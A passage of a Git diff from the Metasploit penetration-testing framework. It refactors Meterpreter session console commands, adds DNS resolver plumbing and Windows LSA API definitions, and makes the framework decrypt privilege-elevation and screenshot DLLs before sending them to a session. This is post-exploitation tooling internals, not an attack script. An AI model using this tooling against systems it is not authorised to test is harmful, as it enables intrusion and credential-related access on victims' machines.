-1694,14 +1790,31 @@ module Msf ], 'ColProps' => { 'Rank' => { - 'Formatters' => [Msf::Ui::Console::TablePrint::RankFormatter.new], - 'Stylers' => [Msf::Ui::Console::TablePrint::RankStyler.new] + 'Formatters' => [ + *table_hierarchy_formatters, + Msf::Ui::Console::TablePrint::RankFormatter.new + ], + 'Stylers' => [ + Msf::Ui::Console::TablePrint::RankStyler.new + ] }, 'Name' => { 'Stylers' => [Msf::Ui::Console::TablePrint::HighlightSubstringStyler.new(search_terms)] }, + 'Check' => { + 'Formatters' => [ + *table_hierarchy_formatters, + ] + }, + 'Disclosure Date' => { + 'Formatters' => [ + *table_hierarchy_formatters, + ] + }, 'Description' => { - 'Stylers' => [Msf::Ui::Console::TablePrint::HighlightSubstringStyler.new(search_terms)] + 'Stylers' => [ + Msf::Ui::Console::TablePrint::HighlightSubstringStyler.new(search_terms) + ] } } ) diff --git a/lib/msf/ui/console/command_dispatcher/payload.rb b/lib/msf/ui/console/command_dispatcher/payload.rb index 093f039d48..1207bd9b49 100644 --- a/lib/msf/ui/console/command_dispatcher/payload.rb +++ b/lib/msf/ui/console/command_dispatcher/payload.rb @@ -198,7 +198,8 @@ module Msf puts(buf) else print_status("Writing #{buf.length} bytes to #{ofile}...") - fd = File.open(ofile, 'wb') + f = File.expand_path(ofile) + fd = File.open(f, 'wb') fd.write(buf) fd.close end diff --git a/lib/msf/ui/console/command_dispatcher/session.rb b/lib/msf/ui/console/command_dispatcher/session.rb new file mode 100644 index 0000000000..9ba26213fe --- /dev/null +++ b/lib/msf/ui/console/command_dispatcher/session.rb @@ -0,0 +1,235 @@ +# frozen_string_literal: true + +module Msf + module Ui + module Console + module CommandDispatcher + module Session + include Rex::Ui::Text::DispatcherShell::CommandDispatcher + + @@irb_opts = Rex::Parser::Arguments.new( + %w[-h --help] => [false, 'Help menu.' ], + '-e' => [true, 'Expression to evaluate.'] + ) + def commands + { + '?' => 'Help menu', + 'background' => 'Backgrounds the current session', + 'bg' => 'Alias for background', + 'exit' => 'Terminate the session', + 'help' => 'Help menu', + 'irb' => 'Open an interactive Ruby shell on the current session', + 'pry' => 'Open the Pry debugger on the current session', + 'quit' => 'Terminate the session', + 'resource' => 'Run the commands stored in a file', + 'uuid' => 'Get the UUID for the current session', + 'sessions' => 'Quickly switch to another session' + } + end + + def cmd_background_help + print_line('Usage: background') + print_line + print_line('Stop interacting with this session and return to the parent prompt') + print_line + end + + def cmd_background(*args) + if args.include?('-h') || args.include?('--help') + cmd_background_help + return + end + print_status("Backgrounding session #{session.name}...") + session.interacting = false + end + + alias cmd_bg cmd_background + alias cmd_bg_help cmd_background_help + + # + # Terminates the session. + # + def cmd_exit(*args) + print_status("Shutting down session: #{session.sid}") + session.exit + end + + alias cmd_quit cmd_exit + + def cmd_irb_help + print_line('Usage: irb') + print_line + print_line('Open an interactive Ruby shell on the current session.') + print @@irb_opts.usage + end + + def cmd_irb_tabs(str, words) + return [] if words.length > 1 + + @@irb_opts.option_keys + end + + # + # Open an interactive Ruby shell on the current session + # + def cmd_irb(*args) + expressions = [] + + # Parse the command options + @@irb_opts.parse(args) do |opt, _idx, val| + case opt + when '-e' + expressions << val + when '-h', '--help' + return cmd_irb_help + end + end + + framework = session.framework + + if expressions.empty? + print_status('Starting IRB shell...') + print_status("You are in the session object\n") + framework.history_manager.with_context(name: :irb) do + Rex::Ui::Text::IrbShell.new(session).run + end + else + # XXX: No vprint_status here + if framework.datastore['VERBOSE'].to_s == 'true' + print_status("You are executing expressions in #{binding.receiver}") + end + + expressions.each { |expression| eval(expression, binding) } + end + end + + def cmd_pry_help + print_line 'Usage: pry' + print_line + print_line 'Open the Pry debugger on the current session.' + print_line + end + + # + # Open the Pry debugger on the current session + # + def cmd_pry(*args) + if args.include?('-h') || args.include?('--help') + cmd_pry_help + return + end + + begin + require 'pry' + rescue LoadError + print_error('Failed to load Pry, try "gem install pry"') + return + end + + print_status('Starting Pry shell...') + print_status("You are in the session object\n") + + Pry.config.history_load = false + session.framework.history_manager.with_context(history_file: Msf::Config.pry_history, name: :pry) do + session.pry + end + end + + def cmd_sessions_help + print_line('Usage: sessions ') + print_line + print_line('Interact with a different session Id.') + print_line('This works the same as calling this from the MSF shell: sessions -i ') + print_line + end + + def cmd_sessions(*args) + if args.empty? || args[0].to_i == 0 + cmd_sessions_help + elsif args[0].to_s == session.name.to_s + print_status("Session #{session.name} is already interactive.") + else + print_status("Backgrounding session #{session.name}...") + # store the next session id so that it can be referenced as soon + # as this session is no longer interacting + session.next_session = args[0] + session.interacting = false + end + end + + def cmd_resource_help + print_line 'Usage: resource path1 [path2 ...]' + print_line + print_line 'Run the commands stored in the supplied files. (- for stdin, press CTRL+D to end input from stdin)' + print_line 'Resource files may also contain ERB or Ruby code between tags.' + print_line + end + + def cmd_resource(*args) + if args.empty? || args.include?('-h') || args.include?('--help') + cmd_resource_help + return false + end + + args.each do |res| + good_res = nil + if res == '-' + good_res = res + elsif ::File.exist?(res) + good_res = res + elsif [ + ::Msf::Config.script_directory + ::File::SEPARATOR + 'resource' + ::File::SEPARATOR + 'meterpreter', + ::Msf::Config.user_script_directory + ::File::SEPARATOR + 'resource' + ::File::SEPARATOR + 'meterpreter' + ].each do |dir| + res_path = dir + ::File::SEPARATOR + res + if ::File.exist?(res_path) + good_res = res_path + break + end + end + # let's check to see if it's in the scripts/resource dir (like when tab completed) + end + unless good_res + print_error("#{res} is not a valid resource file") + next + end + + session.console.load_resource(good_res) + end + end + + def cmd_resource_tabs(str, words) + tabs = [] + # return tabs if words.length > 1 + if (str && str =~ (/^#{Regexp.escape(::File::SEPARATOR)}/)) + # then you are probably specifying a full path so let's just use normal file completion + return tab_complete_filenames(str, words) + elsif (!(words[1]) || !words[1].match(%r{^/})) + # then let's start tab completion in the scripts/resource directories + begin + [ + ::Msf::Config.script_directory + ::File::SEPARATOR + 'resource' + ::File::SEPARATOR + 'meterpreter', + ::Msf::Config.user_script_directory + ::File::SEPARATOR + 'resource' + ::File::SEPARATOR + 'meterpreter', + '.' + ].each do |dir| + next if !::File.exist? dir + + tabs += ::Dir.new(dir).find_all do |e| + path = dir + ::File::SEPARATOR + e + ::File.file?(path) and ::File.readable?(path) + end + end + rescue StandardError => e + elog('Problem tab completing resource file names in the scripts/resource directories', error: e) + end + else + tabs += tab_complete_filenames(str, words) + end + + return tabs + end + end + end + end + end +end diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index 3f97edca68..8586b4ea8a 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -29,7 +29,8 @@ class Driver < Msf::Ui::Driver CommandDispatcher::Resource, CommandDispatcher::Db, CommandDispatcher::Creds, - CommandDispatcher::Developer + CommandDispatcher::Developer, + CommandDispatcher::DNS ] # @@ -79,8 +80,16 @@ class Driver < Msf::Ui::Driver # Initialize attributes + dns_resolver = Rex::Proto::DNS::CachedResolver.new + dns_resolver.extend(Rex::Proto::DNS::CustomNameserverProvider) + dns_resolver.load_config + # Defer loading of modules until paths from opts can be added below - framework_create_options = opts.merge('DeferModuleLoads' => true) + framework_create_options = opts.merge({ + 'DeferModuleLoads' => true, + 'CustomDnsResolver' => dns_resolver + } + ) self.framework = opts['Framework'] || Msf::Simple::Framework.create(framework_create_options) if self.framework.datastore['Prompt'] diff --git a/lib/msf/ui/console/table_print/blank_formatter.rb b/lib/msf/ui/console/table_print/blank_formatter.rb new file mode 100644 index 0000000000..7eccd2b877 --- /dev/null +++ b/lib/msf/ui/console/table_print/blank_formatter.rb @@ -0,0 +1,17 @@ +# -*- coding: binary -*- + +module Msf + module Ui + module Console + module TablePrint + class BlankFormatter + def format(value) + return '.' if value.blank? + + value + end + end + end + end + end +end diff --git a/lib/msf/ui/console/table_print/rank_formatter.rb b/lib/msf/ui/console/table_print/rank_formatter.rb index d0f1f476be..329811d2a9 100644 --- a/lib/msf/ui/console/table_print/rank_formatter.rb +++ b/lib/msf/ui/console/table_print/rank_formatter.rb @@ -5,9 +5,8 @@ module Msf module Console module TablePrint class RankFormatter - def format(rank) - if (rank.respond_to? :to_i) && (Msf::RankingName.key?(rank.to_i)) + if rank.present? && !rank.to_s.match?(/\D/) && Msf::RankingName.key?(rank.to_i) Msf::RankingName[rank.to_i] else rank diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 274f304167..e198006b6a 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1599,7 +1599,14 @@ require 'digest/sha1' paths = [ [ "metasploit", "Payload.class" ], ] - zip.add_files(paths, MetasploitPayloads.path('java')) + + zip.add_file('metasploit/', '') + paths.each do |path_parts| + path = ['java', path_parts].flatten.join('/') + contents = ::MetasploitPayloads.read(path) + zip.add_file(path_parts.join('/'), contents) + end + zip.build_manifest :main_class => "metasploit.Payload" config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n" zip.add_file("metasploit.dat", config) diff --git a/lib/net/dns/resolver.rb b/lib/net/dns/resolver.rb index af5f1a3561..f89690bcf9 100644 --- a/lib/net/dns/resolver.rb +++ b/lib/net/dns/resolver.rb @@ -975,7 +975,7 @@ module Net # :nodoc: end end - ans = self.old_send(method,packet,packet_data) + ans = self.old_send(method,packet,packet_data, nameservers.map {|ns| [ns, {}]}) unless ans @logger.fatal "No response from nameservers list: aborting" @@ -1027,7 +1027,8 @@ module Net # :nodoc: answers = [] soa = 0 - self.old_send(method, packet, packet_data) do |ans| + nameservers_and_hash = nameservers.map {|ns| [ns, {}]} + self.old_send(method, packet, packet_data, nameservers_and_hash) do |ans| @logger.info "Received #{ans[0].size} bytes from #{ans[1][2]+":"+ans[1][1].to_s}" begin @@ -1161,12 +1162,12 @@ module Net # :nodoc: end - def send_tcp(packet,packet_data) + def send_tcp(packet,packet_data, nameservers) ans = nil length = [packet_data.size].pack("n") - @config[:nameservers].each do |ns| + nameservers.each do |ns, _unused| begin socket = Socket.new(Socket::AF_INET,Socket::SOCK_STREAM,0) socket.bind(Socket.pack_sockaddr_in(@config[:source_port],@config[:source_address].to_s)) @@ -1233,13 +1234,13 @@ module Net # :nodoc: return nil end - def send_udp(packet,packet_data) + def send_udp(packet, packet_data, nameservers) socket = UDPSocket.new socket.bind(@config[:source_address].to_s,@config[:source_port]) ans = nil response = "" - @config[:nameservers].each do |ns| + nameservers.each do |ns, _unused| begin @config[:udp_timeout].timeout do @logger.info "Contacting nameserver #{ns} port #{@config[:port]}" diff --git a/lib/net/ssh/pubkey_verifier.rb b/lib/net/ssh/pubkey_verifier.rb index 6b42dc0d6b..5f8ff489e8 100644 --- a/lib/net/ssh/pubkey_verifier.rb +++ b/lib/net/ssh/pubkey_verifier.rb @@ -39,7 +39,7 @@ module Net # The initial public key exchange pubkey_method = Net::SSH::Authentication::Methods::Publickey.new(auth) - pubkey_method.send(:send_request, key,user, "ssh-connection") + pubkey_method.send(:send_request, key, user, "ssh-connection", key.ssh_type) # Check the response to see if the public key is good response_message = auth.next_message diff --git a/lib/rex/post.rb b/lib/rex/post.rb index 01cea935a2..844a885094 100644 --- a/lib/rex/post.rb +++ b/lib/rex/post.rb @@ -2,6 +2,7 @@ # Post-exploitation clients require 'rex/post/meterpreter' +require 'rex/post/smb' module Rex::Post diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 3d86d4636b..9100e99872 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -258,7 +258,8 @@ class ClientCore < Extension end if library_image - request.add_tlv(TLV_TYPE_DATA, library_image, false, client.capabilities[:zlib]) + decrypted_library_image = ::MetasploitPayloads::Crypto.decrypt(ciphertext: library_image) + request.add_tlv(TLV_TYPE_DATA, decrypted_library_image, false, client.capabilities[:zlib]) else raise RuntimeError, "Failed to serialize library #{library_path}.", caller end diff --git a/lib/rex/post/meterpreter/extensions/priv/priv.rb b/lib/rex/post/meterpreter/extensions/priv/priv.rb index ee6c9b830e..30faaf70ac 100644 --- a/lib/rex/post/meterpreter/extensions/priv/priv.rb +++ b/lib/rex/post/meterpreter/extensions/priv/priv.rb @@ -82,11 +82,8 @@ class Priv < Extension raise RuntimeError, "#{elevators.chomp(', ')} not found", caller end - elevator_data = '' - - ::File.open(elevator_path, 'rb') { |f| - elevator_data += f.read(f.stat.size) - } + encrypted_elevator_data = ::File.binread(elevator_path) + elevator_data = ::MetasploitPayloads::Crypto.decrypt(ciphertext: encrypted_elevator_data) request.add_tlv(TLV_TYPE_ELEVATE_SERVICE_DLL, elevator_data) request.add_tlv(TLV_TYPE_ELEVATE_SERVICE_LENGTH, elevator_data.length) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_advapi32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_advapi32.rb index 86daad3cd3..4f5d3ccab7 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_advapi32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_advapi32.rb @@ -1261,6 +1261,16 @@ class Def_windows_advapi32 ["PBLOB","GenericMapping","in"], ]) + dll.add_function('ConvertSidToStringSidA', 'BOOL',[ + ["LPVOID", "Sid", "in"], + ["PLPVOID", "StringSid", "out"], + ]) + + dll.add_function('ConvertSidToStringSidW', 'BOOL',[ + ["LPVOID", "Sid", "in"], + ["PLPVOID", "StringSid", "out"], + ]) + dll.add_function('ConvertStringSidToSidA', 'BOOL',[ ["PCHAR","StringSid","in"], ["PLPVOID","pSid","out"], @@ -1796,6 +1806,10 @@ class Def_windows_advapi32 ["PBLOB","lpLuid","out"], ]) + dll.add_function('LsaNtStatusToWinError', 'ULONG',[ + ["NTSTATUS", "Status", "in"] + ]) + dll.add_function('MakeAbsoluteSD', 'BOOL',[ ["PBLOB","pSelfRelativeSecurityDescriptor","in"], ["PBLOB","pAbsoluteSecurityDescriptor","out"], @@ -1936,13 +1950,13 @@ class Def_windows_advapi32 ]) dll.add_function('OpenProcessToken', 'BOOL',[ - ["DWORD","ProcessHandle","in"], + ["HANDLE","ProcessHandle","in"], ["DWORD","DesiredAccess","in"], ["PHANDLE","TokenHandle","out"], ]) dll.add_function('OpenThreadToken', 'BOOL',[ - ["DWORD","ThreadHandle","in"], + ["HANDLE","ThreadHandle","in"], ["DWORD","DesiredAccess","in"], ["BOOL","OpenAsSelf","in"], ["PHANDLE","TokenHandle","out"], diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_kernel32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_kernel32.rb index f0067d561a..368f36572e 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_kernel32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_kernel32.rb @@ -2300,7 +2300,7 @@ class Def_windows_kernel32 ["HANDLE","hResInfo","in"], ]) - dll.add_function( 'LocalAlloc', 'DWORD',[ + dll.add_function( 'LocalAlloc', 'HANDLE',[ ["DWORD","uFlags","in"], ["DWORD","uBytes","in"], ]) @@ -2318,7 +2318,7 @@ class Def_windows_kernel32 ["HANDLE","hMem","in"], ]) - dll.add_function( 'LocalFree', 'DWORD',[ + dll.add_function( 'LocalFree', 'HANDLE',[ ["HANDLE","hMem","in"], ]) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_secur32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_secur32.rb new file mode 100644 index 0000000000..380ffa7a0f --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/windows/def_secur32.rb @@ -0,0 +1,64 @@ +# -*- coding: binary -*- +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Railgun +module Def + +class Def_windows_secur32 + + def self.create_library(constant_manager, library_path = 'secur32') + dll = Library.new(library_path, constant_manager) + + dll.add_function('LsaCallAuthenticationPackage', 'NTSTATUS', [ + ['HANDLE', 'LsaHandle', 'in'], + ['ULONG', 'AuthenticationPackage', 'in'], + ['PBLOB', 'ProtocolSubmitBuffer', 'in'], + ['ULONG', 'SubmitBufferLength', 'in'], + ['PLPVOID', 'ProtocolReturnBuffer', 'out'], + ['PULONG', 'ReturnBufferLength', 'out'], + ['PULONG', 'ProtocolStatus', 'out'] + ]) + + dll.add_function('LsaConnectUntrusted', 'NTSTATUS', [ + ['PHANDLE', 'LsaHandle', 'out'] + ]) + + dll.add_function('LsaDeregisterLogonProcess', 'NTSTATUS', [ + ['HANDLE', 'LsaHandle', 'in'] + ]) + + dll.add_function('LsaEnumerateLogonSessions', 'NTSTATUS', [ + ['PULONG', 'LogonSessionCount', 'out'], + ['PLPVOID', 'LogonSessionList', 'out'] + ]) + + dll.add_function('LsaFreeReturnBuffer', 'NTSTATUS', [ + ['LPVOID', 'Buffer', 'in'] + ]) + + dll.add_function('LsaGetLogonSessionData', 'NTSTATUS', [ + ['PBLOB', 'LogonId', 'in'], + ['PLPVOID', 'ppLogonSessionData', 'out'] + ]) + + dll.add_function('LsaLookupAuthenticationPackage', 'NTSTATUS', [ + ['HANDLE', 'LsaHandle', 'in'], + ['PBLOB', 'PackageName', 'in'], + ['PULONG', 'AuthenticationPackage', 'out'] + ]) + + dll.add_function('LsaRegisterLogonProcess', 'NTSTATUS', [ + ['PBLOB', 'LogonProcessName', 'in'], + ['PHANDLE', 'LsaHandle', 'out'], + ['PULONG', 'SecurityMode', 'out'] + ]) + + return dll + end + +end + +end; end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/library.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/library.rb index f65b664445..12dd9776b4 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/library.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/library.rb @@ -44,15 +44,16 @@ class Library include LibraryHelper @@datatype_map = { - 'HANDLE' => 'LPVOID', + 'HANDLE' => 'LPVOID', # really should be PVOID* but LPVOID is handled specially with the 'L' prefix to *not* treat it as a pointer, and # for railgun's purposes LPVOID == ULONG_PTR - 'PHANDLE' => 'PULONG_PTR', - 'SIZE_T' => 'ULONG_PTR', - 'PSIZE_T' => 'PULONG_PTR', - 'PLPVOID' => 'PULONG_PTR', - 'ULONG' => 'DWORD', - 'PULONG' => 'PDWORD' + 'PHANDLE' => 'PULONG_PTR', + 'SIZE_T' => 'ULONG_PTR', + 'PSIZE_T' => 'PULONG_PTR', + 'PLPVOID' => 'PULONG_PTR', + 'ULONG' => 'DWORD', + 'PULONG' => 'PDWORD', + 'NTSTATUS' => 'DWORD' }.freeze attr_accessor :functions @@ -206,10 +207,14 @@ class Library #puts " processing (#{param_desc[0]}, #{param_desc[1]}, #{param_desc[2]})" buffer = nil # is it a pointer to a buffer on our stack - if ['PULONG_PTR', 'PDWORD', 'PWCHAR', 'PCHAR', 'PBLOB'].include? param_desc[0] - #puts ' pointer' - if args[param_idx] == nil # null pointer? - buffer = [0].pack(native) # type: DWORD (so the library does not rebase it) + if ['PULONG_PTR', 'PDWORD', 'PWCHAR', 'PCHAR', 'PBLOB'].include?(param_desc[0]) + if ['PWCHAR', 'PCHAR', 'PBLOB'].include?(param_desc[0]) && param_desc[2] == 'in' && args[param_idx].is_a?(Integer) + # allow PWCHAR, PCHAR and PBLOB to also be passed as a pointer instead of a buffer + buffer = [0].pack(native) + num = param_to_number(args[param_idx]) + buffer += [num].pack(native) + elsif args[param_idx] == nil # null pointer? + buffer = [0].pack(native) # type: LPVOID (so the library does not rebase it) buffer += [0].pack(native) # value: 0 elsif param_desc[2] == 'in' buffer = [1].pack(native) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/library_helper.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/library_helper.rb index 1c4fb1d2d6..c7de5e0559 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/library_helper.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/library_helper.rb @@ -117,13 +117,18 @@ module LibraryHelper val = param_to_number(args[param_idx]) buffer = [val].pack('V') when "PWCHAR" - raise "param #{param_desc[1]}: string expected" unless args[param_idx].class == String + next if args[param_idx].is_a?(Integer) && direction == 'in' + raise "param #{param_desc[1]}: string or integer expected" unless args[param_idx].class == String buffer = str_to_uni_z(args[param_idx]) when "PCHAR" - raise "param #{param_desc[1]}: string expected" unless args[param_idx].class == String + next if args[param_idx].is_a?(Integer) && direction == 'in' + raise "param #{param_desc[1]}: string or integer expected" unless args[param_idx].class == String buffer = str_to_ascii_z(args[param_idx]) when "PBLOB" - raise "param #{param_desc[1]}: please supply your BLOB as string!" unless args[param_idx].class == String + next if args[param_idx].is_a?(Integer) && direction == 'in' + args[param_idx] = args[param_idx].to_binary_s if args[param_idx].is_a?(BinData::Struct) + + raise "param #{param_desc[1]}: string or integer expected" unless args[param_idx].class == String buffer = args[param_idx] # other types (non-pointers) don't reference buffers # and don't need any treatment here @@ -145,8 +150,6 @@ module LibraryHelper return [layout, blob] end - - end end; end; end; end; end; end; diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb index e853002f67..6786303473 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb @@ -93,7 +93,8 @@ class Railgun 'psapi', 'dbghelp', 'winspool', - 'spoolss' + 'spoolss', + 'secur32' ].freeze }.freeze @@ -186,7 +187,7 @@ class Railgun # LPVOID parameters) # def memwrite(address, data, length=nil) - + data = data.to_binary_s if data.is_a?(BinData::Struct) length = data.length if length.nil? raise "Invalid parameters." if(not address or not data or not length) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb index f86ae2d46e..c04da82a42 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/util.rb @@ -317,6 +317,7 @@ class Util def initialize(railgun, arch) @railgun = railgun @is_64bit = arch == ARCH_X64 + @process_heap = nil end # @@ -348,6 +349,28 @@ class Util return pointer.nil? || pointer == 0 end + def alloc_and_write_data(data) + return nil if data.nil? || process_heap.nil? + + result = railgun.kernel32.HeapAlloc(process_heap, railgun.const('HEAP_ZERO'), data.length) + return nil if result['return'].nil? + + addr = result['return'] + return nil unless railgun.memwrite(addr, data, data.length) + + addr + end + + def free_data(*ptrs) + return false if ptrs.empty? + return false if process_heap.nil? + + results = railgun.multi( + ptrs.map { |ptr| ['kernel32', 'HeapFree', [process_heap, 0, ptr.to_i]] } + ) + results.map { |res| res['return'] }.all? + end + # # Reads null-terminated unicode strings from memory. # @@ -382,21 +405,13 @@ class Util # InitializeUnicodeStr(&uStr, sL"string"); # def alloc_and_write_wstring(value) - return nil if value == nil + return nil if value.nil? - data = str_to_uni_z(value) - result = railgun.kernel32.VirtualAlloc(nil, data.length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) - if result['return'].nil? - return nil - end - addr = result['return'] - if railgun.memwrite(addr, data, data.length) - return addr - else - return nil - end + alloc_and_write_data(str_to_uniz_a(value)) end + alias free_wstring free_data + # # Write ASCII strings to memory. # @@ -404,21 +419,13 @@ class Util # InitializeStr(&Str,"string"); # def alloc_and_write_string(value) - return nil if value == nil + return nil if value.nil? - data = str_to_ascii_z(value) - result = railgun.kernel32.VirtualAlloc(nil, data.length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) - if result['return'].nil? - return nil - end - addr = result['return'] - if railgun.memwrite(addr, data, data.length) - return addr - else - return nil - end + alloc_and_write_data(str_to_ascii_z(value)) end + alias free_string free_data + # # Reads null-terminated ASCII strings from memory. # @@ -704,6 +711,16 @@ class Util protected attr_accessor :railgun, :is_64bit + + private + + def process_heap + return @process_heap unless @process_heap.nil? + + handle = railgun.kernel32.GetProcessHeap()['return'] + return nil if handle == 0 + @process_heap = handle + end end # Util end # Railgun end # Stdapi diff --git a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb index 00427630c3..39b9af0b95 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb @@ -185,10 +185,8 @@ class UI < Rex::Post::UI raise RuntimeError, "screenshot.x64.dll not found", caller end - screenshot_dll = '' - ::File.open( screenshot_path, 'rb' ) do |f| - screenshot_dll += f.read( f.stat.size ) - end + encrypted_screenshot_dll = ::File.binread(screenshot_path) + screenshot_dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: encrypted_screenshot_dll) request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER, screenshot_dll, false, true ) end @@ -199,10 +197,8 @@ class UI < Rex::Post::UI raise RuntimeError, "screenshot.x86.dll not found", caller end - screenshot_dll = '' - ::File.open( screenshot_path, 'rb' ) do |f| - screenshot_dll += f.read( f.stat.size ) - end + encrypted_screenshot_dll = ::File.binread(screenshot_path) + screenshot_dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: encrypted_screenshot_dll) request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER, screenshot_dll, false, true ) end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb index a1b08f7cd8..0e591cf002 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher.rb @@ -13,7 +13,7 @@ module Ui ### module Console::CommandDispatcher - include Rex::Ui::Text::DispatcherShell::CommandDispatcher + include Msf::Ui::Console::CommandDispatcher::Session # # The hash of file names to class names after a module has already been @@ -49,6 +49,12 @@ module Console::CommandDispatcher shell.client end + # A meterpreter session *is* a client but for the smb session it *has* a (ruby smb) client + # adding this here for parity with the smb session + def session + shell.client + end + # # Returns the commands that meet the requirements # diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 972bbd28cf..8147705bb4 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -33,11 +33,6 @@ class Console::CommandDispatcher::Core @transport_map = {} end - @@irb_opts = Rex::Parser::Arguments.new( - '-h' => [false, 'Help menu.' ], - '-e' => [true, 'Expression to evaluate.'] - ) - @@load_opts = Rex::Parser::Arguments.new( '-h' => [false, 'Help menu.' ], '-l' => [false, 'List all available extensions.'] @@ -301,49 +296,12 @@ class Console::CommandDispatcher::Core print_good("Successfully created #{opts[:type]} pivot.") end - def cmd_sessions_help - print_line('Usage: sessions ') - print_line - print_line('Interact with a different session Id.') - print_line('This works the same as calling this from the MSF shell: sessions -i ') - print_line - end - - def cmd_sessions(*args) - if args.length == 0 || args[0].to_i == 0 - cmd_sessions_help - elsif args[0].to_s == client.name.to_s - print_status("Session #{client.name} is already interactive.") - else - print_status("Backgrounding session #{client.name}...") - # store the next session id so that it can be referenced as soon - # as this session is no longer interacting - client.next_session = args[0] - client.interacting = false - end - end - def cmd_secure print_status('Negotiating new encryption key ...') client.core.secure print_good('Done.') end - def cmd_background_help - print_line('Usage: background') - print_line - print_line('Stop interacting with this session and return to the parent prompt') - print_line - end - - def cmd_background - print_status("Backgrounding session #{client.name}...") - client.interacting = false - end - - alias cmd_bg cmd_background - alias cmd_bg_help cmd_background_help - # # Displays information about active channels # @@ -500,18 +458,6 @@ class Console::CommandDispatcher::Core return tab_complete_channels end - # - # Terminates the meterpreter session. - # - def cmd_exit(*args) - print_status('Shutting down Meterpreter...') - client.core.shutdown rescue nil - client.shutdown_passive_dispatcher - shell.stop - end - - alias cmd_quit cmd_exit - def cmd_detach_help print_line('Detach from the victim. Only possible for non-stream sessions (http/https)') print_line @@ -565,85 +511,6 @@ class Console::CommandDispatcher::Core alias cmd_interact_tabs cmd_close_tabs - def cmd_irb_help - print_line('Usage: irb') - print_line - print_line('Open an interactive Ruby shell on the current session.') - print @@irb_opts.usage - end - - def cmd_irb_tabs(str, words) - return [] if words.length > 1 - @@irb_opts.option_keys - end - - # - # Open an interactive Ruby shell on the current session - # - def cmd_irb(*args) - expressions = [] - - # Parse the command options - @@irb_opts.parse(args) do |opt, idx, val| - case opt - when '-e' - expressions << val - when '-h' - return cmd_irb_help - end - end - - session = client - framework = client.framework - - if expressions.empty? - print_status('Starting IRB shell...') - print_status("You are in the \"client\" (session) object\n") - framework.history_manager.with_context(name: :irb) do - Rex::Ui::Text::IrbShell.new(client).run - end - else - # XXX: No vprint_status here - if framework.datastore['VERBOSE'].to_s == 'true' - print_status("You are executing expressions in #{binding.receiver}") - end - - expressions.each { |expression| eval(expression, binding) } - end - end - - def cmd_pry_help - print_line 'Usage: pry' - print_line - print_line 'Open the Pry debugger on the current session.' - print_line - end - - # - # Open the Pry debugger on the current session - # - def cmd_pry(*args) - if args.include?('-h') - cmd_pry_help - return - end - - begin - require 'pry' - rescue LoadError - print_error('Failed to load Pry, try "gem install pry"') - return - end - - print_status('Starting Pry shell...') - print_status("You are in the \"client\" (session) object\n") - - Pry.config.history_load = false - client.framework.history_manager.with_context(history_file: Msf::Config.pry_history, name: :pry) do - client.pry - end - end - @@set_timeouts_opts = Rex::Parser::Arguments.new( '-c' => [true, 'Comms timeout (seconds)'], '-x' => [true, 'Expiration timout (seconds)'], @@ -1731,76 